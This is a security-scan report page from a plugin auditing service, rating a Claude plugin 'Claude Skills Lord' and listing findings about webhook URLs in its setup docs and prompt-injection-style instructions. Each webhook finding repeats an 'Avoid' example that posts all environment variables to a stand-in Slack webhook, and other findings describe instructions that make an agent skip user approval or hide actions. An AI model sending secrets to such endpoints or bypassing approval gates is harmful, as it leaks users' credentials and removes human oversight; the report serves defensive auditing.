Claude Skills Lord— plugin

Claude Skills Lord — independently scanned and version-tracked by SaferSkills.

Is Claude Skills Lord safe to install?

SaferSkills independently audited Claude Skills Lord (Plugin) and scored it 65/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 18 high-severity and 3 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
65/100
●●●●●●●○○○
Re-scan~30s
Latest scan
ScannedJun 22, 2026 · 135d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings3 warnings · 18 high
EngineSaferSkills 755a9a5
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 21 flagged

Securityscore 0 · 21 findings
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · hooks/README.md
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (DISCORD_WEBHOOK_URL=https://discord.com/api/webh…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpthooks/README.md· markdown
42 
43```bash
44DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
45TELEGRAM_BOT_TOKEN=123456:ABC...
46TELEGRAM_CHAT_ID=-100...
Occurrences
1 occurrence · at L44
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha25638b5e28ce438a1e9…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · hooks/discord-hook-setup.md×11
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (- Format: `https://discord.com/api/webhooks/WEBH…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpthooks/discord-hook-setup.md· markdown
24- **Channel:** Select your target notification channel
255. Click **"Copy Webhook URL"**
26- Format: `https://discord.com/api/webhooks/WEBHOOK_ID/WEBHOOK_TOKEN`
27 
28### 2. Configure Environment Variables
Occurrences
11 occurrences · first at L26, also L37, L42 +8 more
Show all 11 locations
Line
File
L26
hooks/discord-hook-setup.md
L37
hooks/discord-hook-setup.md
L42
hooks/discord-hook-setup.md
L47
hooks/discord-hook-setup.md
L52
hooks/discord-hook-setup.md
L84
hooks/discord-hook-setup.md
L293
hooks/discord-hook-setup.md
L294
hooks/discord-hook-setup.md
L295
hooks/discord-hook-setup.md
L386
hooks/discord-hook-setup.md
L389
hooks/discord-hook-setup.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256a7fd0c87d0233aaf…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · hooks/telegram-hook-setup.md×6
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (https://api.telegram.org/bot<YOUR_BOT_TOKEN>/get…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpthooks/telegram-hook-setup.md· markdown
463. Open this URL in your browser (replace `<YOUR_BOT_TOKEN>`):
47```
48https://api.telegram.org/bot<YOUR_BOT_TOKEN>/getUpdates
49```
504. Look for the `"chat"` object in the JSON response:
Occurrences
6 occurrences · first at L48, also L81, L102 +3 more
Show all 6 locations
Line
File
L48
hooks/telegram-hook-setup.md
L81
hooks/telegram-hook-setup.md
L102
hooks/telegram-hook-setup.md
L429
hooks/telegram-hook-setup.md
L435
hooks/telegram-hook-setup.md
L528
hooks/telegram-hook-setup.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha25664eb74e43fec2ac4…rubric 365aacaView on GitHub
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · commands/aside.md×2
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

The exact value spotted
excerptcommands/aside.md· markdown
58### Step 3: Resume the main task
59 
60After delivering the answer, immediately continue the active task from the exact point it wa
… (108 chars elided on L60)
61 
62---
Occurrences
2 occurrences · first at L60, also L126
Show all 2 locations
Line
File
L60
commands/aside.md
L126
commands/aside.md
How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-DONT-ASK-01sha25668b030f55bcd484a…rubric 365aacaView on GitHub
MEDIUM"Never tell the user" non-disclosure imperative in the skillSS-SKILL-INJECT-IMPERATIVE-01 · Prompt injection · hooks/telegram-hook-setup.md
MEDIUM — it fires on intent; whether the agent honors the non-disclosure imperative depends on the host model.
Why it matters

A bulleted imperative like {match} tells the agent to never reveal, disclose, or mention something to the user. Used adversarially it can instruct the agent to hide its tool calls or lie about what it did — stripping the transparency a user relies on to trust the agent.

The exact value spotted
excerpthooks/telegram-hook-setup.md· markdown
743 
7447. **Secure chat IDs:**
745- Don't share chat IDs publicly
746- Use private groups for sensitive notifications
747- Remove bot from groups when no longer needed
Occurrences
1 occurrence · at L745
How to fix
Remove the non-disclosure imperative, or rescope it so it limits output format, not honesty to the user.
  1. Delete any "never reveal / never tell the user" line aimed at the model's own behavior.
  2. Keep legitimate confidentiality rules about external data (e.g. "do not echo API keys"), which are user-protective, not user-deceiving.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-IMPERATIVE-01sha2560a276a5b94fbbcdb…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.